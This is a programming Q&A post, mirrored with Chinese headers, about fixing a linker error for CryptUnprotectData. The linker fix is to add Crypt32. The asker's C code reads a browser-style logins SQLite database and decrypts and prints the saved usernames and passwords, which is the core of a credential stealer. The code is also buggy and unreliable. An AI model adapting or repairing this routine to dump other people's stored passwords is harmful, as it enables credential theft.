【问题标题】:LNK1120 & LNK2019 ErrorsLNK1120 和 LNK2019 错误
【发布时间】:2014-04-05 19:48:36
【问题描述】:

我正在尝试学习 SQLite3 API,当我调试发生致命错误时。 知道我将链接器配置为将其编译为控制台。

错误 1 ​​错误 LNK2019:未解析的外部符号 _CryptUnprotectData@28 在函数 _main ....\"filename".obj 中引用

错误 2 错误 LNK1120: 1 unresolved externals Debug\"filename".exe

代码如下:

#include <stdio.h>
#include <conio.h>
#include "sqlite3.h"
#include <stdlib.h>
#include <Windows.h>


int  main()
    {


    sqlite3_initialize();
    sqlite3 *sqlHandle;
    int call;
    char *tail = NULL;
    sqlite3_stmt *stmt = NULL;
    const FILE *fileHandle = "C:\\Users\\"username"\\Desktop\\Data.sqlite";
    call = sqlite3_open_v2(fileHandle, &sqlHandle, SQLITE_OPEN_READONLY,NULL);
    if (call != SQLITE_OK)
        {
        sqlite3_close(sqlHandle);
        exit(EXIT_SUCCESS);
        }
    //preparing statement to be executed
    if (sqlite3_prepare_v2(sqlHandle, "SELECT action_url,username_value,password_value FROM logins", sizeof(char)*60, &stmt, &tail) != SQLITE_OK)
        {
        sqlite3_close(sqlHandle);
        printf("Can't retrieve data: %s\n", sqlite3_errmsg(sqlHandle));
        }


    CRYPT_INTEGER_BLOB *blob;
    CRYPT_INTEGER_BLOB *UnprotectedBlob = NULL;
    while (sqlite3_step(stmt) == SQLITE_ROW)
        {
        blob = sqlite3_column_text(stmt, 2);
        if (CryptUnprotectData(blob, NULL, NULL, NULL, NULL, 0, UnprotectedBlob))
            {
            printf("%s | %s | %s \n",
                sqlite3_column_text(stmt, 0),
                sqlite3_column_text(stmt, 1),
                UnprotectedBlob->cbData);
            }
        }

    sqlite3_finalize(stmt);
    sqlite3_close(sqlHandle);
    sqlite3_shutdown();
    _getch();
    return 1;
    }

【问题讨论】:

    标签: c++ c


    【解决方案1】:

    您需要链接 CryptoAPI 库。您可以从链接器的项目属性 (Configuration Properties > Linker > Input > Additional dependencies) 或带有 #pragma 指令的代码中执行此操作。

    #pragma comment(lib, "Crypt32")
    

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 1970-01-01
      • 2013-01-04
      • 1970-01-01
      • 2014-01-19
      • 1970-01-01
      • 1970-01-01
      • 2014-09-06
      • 2021-12-19
      相关资源
      最近更新 更多